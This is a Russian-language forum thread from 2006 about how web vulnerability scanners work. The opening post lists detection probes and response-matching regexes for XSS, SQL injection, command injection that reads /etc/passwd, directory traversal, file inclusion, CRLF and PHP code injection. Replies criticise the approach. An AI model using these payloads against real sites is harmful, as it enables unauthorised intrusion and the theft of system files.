Авторские статьи Теория сетевых сканеров безопасности

Discussion in 'Статьи' started by DIAgen, 11 Jun 2006.

  1. DIAgen

    DIAgen Banned Life!

    Joined:
    2 May 2006
    Messages:
    1,055
    Likes Received:
    376
    Reputations:
    460
    Сколько мне приходилось сталкиваться со сканерами, мне все время было интересно
    принцип их работы. Одно время я начал писать свой сканер безопасности на PHP, но из-за
    не хватки времени пришлось все заморозить. В это статье я хочу рассказать то, что я
    напрограммировал, только я буду приводит основные моменты, так как если приводить все
    досконально то это будет не правильно (как мне сказали «если все объяснять по пальцам,
    не чего хорошего не будет!» ).
    Я считаю, что лучше искать уязвимости ручками!
    Я буду приводить только регулярные выражения и запросы, а как это делается, можно
    прочитать в любой книжке по программированию!
    Определение Веб Сервера
    Здесь я долго ломал голову, но как оказывается все гениальное все просто. В ответе сервера
    в html-заголовке все содержится, с помощь регулярных выражений можно определить следующие
    - Apache 1.3.27:
    ищем .*(Apache(-AdvancedExtranetServer)?/(1\.([0-2]\.[0-9].\s|3\.([0-9]\s|[0-1][0-9]\s|2[0-6]\s))))
    - Apache 2.x 2.0.43:
    ищем .*(Apache(-AdvancedExtranetServer)?/2\.0\.([0-9]\s|[0-3][0-9]\s|4[0-2]\s))
    Я не стал приводить полный список регулярных выражений, по двум причинам
    1) просто будет бесмыслено занимать место
    2) просто нечего сложного нет в регулярных выражения, кому понадобится тот сам сможет
    написать, но на крайний случай, если надо будет выложу!

    Определение версии PHP и mod_ssl
    - PHP 4.3.0: ищем .*(PHP/4\.3\.0\s)
    - PHP 5: ищем .*(PHP/5\.5\.0\s)
    - Mod_SSL SSL_Util_UUEncode_Binary:
    ищем .*(mod_ssl/(1.*\s|2\.([0-7]\..*|8\.([0-9]\s|1[0-7]\s)))).*
    - Mod_SSL Log Function:
    ищем .*(mod_ssl/(1.*\s|2\.([0-7]\..*|8\.([0-9]\s|1[0-8]\s)))).*
    Ну вот все вроде про Веб сервер сказано!
    CGI-TEST
    Приведу только часть, так как их приличное количество!
    - Директория справки Apache: GET /manual/
    - Выполнение команд Apache Win32: GET /cgi-bin/test-cgi.bat?|dir
    - Информация о сервере Apache: GET /server-info
    - Распределение расширения Frontpage:
    POST method=open+service%3a3%2e0%2e2%2e1105&service%5fname=%2f
    в ответе должно быть “FrontPage Server Extensions”
    Вроде тут понятно как отправляются запросы и как проверить!

    Вот теперь самое интересное:
    1) XSS
    На атаче можно найти много информации то XSS, из-за этого я приведу только запросы:
    <script>alert('xss -${random}')%3B</script>
    '><script>alert('xss-${random}')%3B</script>
    "><script>alert('xss-${random}')%3B</script>
    ><script>alert('xss-${random}')%3B</script>
    </textarea><script>alert('xss-${random}')%3B</script>
    <script>var%20xss=${random}%3Balert(xss_test)%3B</script>
    ><script>var%20xss_test =${random}%3Balert(xss_test)%3B</script>
    </textarea><script>var%20xss_test =${random}%3Balert(xss_test)%3B</script>
    --><script>alert('xss-${random}')%3B</script>
    [email protected]<script>alert('xss-${random}')%3B</script>
    [script]alert('xss-${random}')%3B[/script]
    %3Cimg%20src%3D%22javascript:alert%28%27xss-${random}%27%29%3B%22%3E

    Вроде полный список!
    И так, если все удачно вы может найти в тексте
    tag=script;textwithin=alert('xss-${random}')\;
    tag=script;textwithin=var xss_test=${random}\;alert(xss_test)\;
    tag=img;src=javascript:alert('xss-${random}')\;

    2) SQL injection
    То тем же причинам, что и в первом случай:
    '
    %27
    %2527
    "
    %00'
    '"

    С помощью следую регулярных выражений можно найти SQL injection:
    (?i)(Line\s\d+:\sIncorrect\ssyntax\snear\s'[^']*')
    (?i)(pg_query\(\)[:]*\squery\sfailed:\serror:\s)
    (?i)(Microsoft\sJScript\sruntime.*error\s'[^']*')
    (?i)('[^']*'\sis\snull\sor\snot\san\sobject)
    (?i)(ORA-\d{4,5}:\s)
    (?i)(Microsoft\sJET\sDatabase\sEngine\s\([^\)]*\)<br>Syntax\serror
    (.*)\sin\squery\sexpression\s'.*\.<br><b>.*,\sline\s\d+</b><br>)
    (?i)(<h2>\s<i>Syntax\serror\s(\([^\)]*\))?(in\sstring)?\sin\squery\
    sexpression\s'[^\.]*\.</i>\s</h2></span>)
    (?i)(<font\sface=\"Arial\"\ssize=2>Syntax\serror\s(.*)?in\squery\sexpression\s'(.*)\.</font>)
    Можно искать полный текст:
    Microsoft OLE DB Provider for ODBC Drivers
    Microsoft OLE DB Provider for SQL Server
    You have an error in your SQL syntax
    Invalid SQL:
    ): encountered SQLException [

    3) Code execution
    Возможность выполнить произвольный код с привилегией сервера
    POST или GET запросы
    +%26cat%20+/etc/passwd%26
    +%0acat%20+/etc/passwd%0a
    %26dir%26
    %7Cdir
    %3Bdir
    %26dir

    Находим результаты: (.*root:.*:0:[01]:.*)
    или найти полную строку
    Volume in drive
    Volume Serial Number is
    Directory of

    4) Обход директорий
    POST или GET запросы
    ../../../../../../../../etc/passwd
    ../../../../../../../../etc/passwd%00
    %00../../../../../../../../etc/passwd
    ../../../../../../../../boot.ini
    ../../../../../../../../boot.ini%00
    %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%
    c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afboot.ini

    Найти можно вот так (.*root:.*:0:[01]:.*)
    5) File inclusion
    Можно разделить на два вида это локальный и иклуид с другого сервера
    -локальный /какой_нибудь_фаил_длиным_именем
    -внешний http://xxx.com/ какой_нибудь_фаил_длиным_именем
    Тут можно проверить только на ошибку иклуида:
    (?i)(<b>Fatal error</b>:.*: Failed opening required '.*some_inexistent_file_with_long_name.*').*
    (?i)(<b>Warning</b>:.*: Failed opening '.*some_inexistent_file_with_long_name.*') for inclusion.*

    6) Раскрытие исходного кода сценария
    Возможно читать исходный текст этого сценария, используя имя файла сценария как параметр.
    Найти можно используя:
    (<%)
    (<\?php)
    (^#\!\/.*\/perl)

    7) CRLF injection
    Инъекция в заголовках через cookie
    Запрос
    some_url%0d%0aSet-Cookie%3Athis_header%3Dinjected_by
    Ищется при помощи
    (?i)\n(set-cookie\s*:\s*this_header\s*=\s*injected_by)
    8) Cross Frame Scripting
    Замена содержания фрейма
    Запрос http://www.xxx.com/
    Найти можно
    tag=iframe;src=http://www.xxx.com/
    9) PHP code injection
    Выполнение произвольного PHP кода
    Парметр: printf(md5(test))%3Bexit%3B//
    Находим: 63c19a6da79816b21429e5bb262daed8
    10) XPath injection
    Получение XML документ, используя XPath запрос, в котором может содержаться информация из базы даных
    Параметр: '
    Ищем:
    (?i)(<b>\sException\sDetails:\s</b>System\.Xml\.XPath\.XPathException:
    \s'.*'\shas\san\sinvalid\stoken\.<br><br>)
    (?i)(<b>\sException\sDetails:\s</b>System\.Xml\.XPath\.XPathException:
    \sThis\sis\san\sunclosed\sstring\.<br><br>)


    Про детальное описание каждой уязвимости можно найти в Интернете!
    Вот и все вроде, я не стали писать про как можно найти Backup файлы
    и определенный файлы (известные файлы и папки например “admin” и т.д).
    Если будет желание продолжить эту тему обязательно дополню!
     
    1 person likes this.
  2. Nova

    Nova Green member

    Joined:
    15 Jul 2005
    Messages:
    1,233
    Likes Received:
    420
    Reputations:
    280
    Мдя банан выдрать запросы из сканера прикольно обучает аж бегом....
     
    _________________________
  3. Otaku

    Otaku Elder - Старейшина

    Joined:
    24 Jul 2005
    Messages:
    279
    Likes Received:
    73
    Reputations:
    2
    Действительно не совсем понятно в чём смысл этой статьи. Ну разве что подробнее принцип работы сканера узнать.
     
    1 person likes this.
  4. ZaCo

    ZaCo Banned

    Joined:
    20 Jun 2005
    Messages:
    737
    Likes Received:
    336
    Reputations:
    215
    Для нормального сканера безопасности веб, во-первых, нужно сделать функцию "паука" которая будет возвращать следующий адрес, а точнее следующий хттп запрос со всеми необходимыми параметрами. Это нужно дл того чтобы проводить проверку не только гет запросов, но так же пост. Причем тут должна быть проведена корректная обработка хтмл кода чтобы выдирать переменные из тегов типа <form></form>, а также из js сценариев. Далее, этот "паучок" не должен входить в бесконечный цикл, для этого нужно правильно добавлять новые и обновлять старые параметры запроса к тому же скрипту. То есть, если у нас есть к примеру гет запрос к /includes/script.php?id=4 и на той же страничке(или другой неважно) есть ссылка <a href=/includes/script.php?id=7> то не нужно для этого ждела заводить новый адрес для паука. просто нужно добавить мол id передается число (если хоть в одной страничке встертится ссылка типа /includes/script.php?id=pageee, то нужно сказать что там находится строка) и обрабатывать на уязвимости соответственно. Так же нужно уметь правильно обрабатывать относительные пути. Далее, проверка на хсс неправильная, хотя бы потому что требует много запросов (это очень тормозить работу будет) тут достаточно проверить за один запрос выход за пределы ',",<,> и все, а в конце напистаь что сцществует выход за пределы. Не нужно писать чо-то через чур умное. Так будет хуже. в принципе аналогичная ситуация и с скл-инекциями - не логичная проверка. А при пхп инклуде вообще - не стоит надеятся на вывод сообщений об ошибке.
     
  5. Fenich

    Fenich New Member

    Joined:
    2 Mar 2008
    Messages:
    3
    Likes Received:
    1
    Reputations:
    0
    Очень интересно описано Но многое не понятно надо было бы объяснить моменты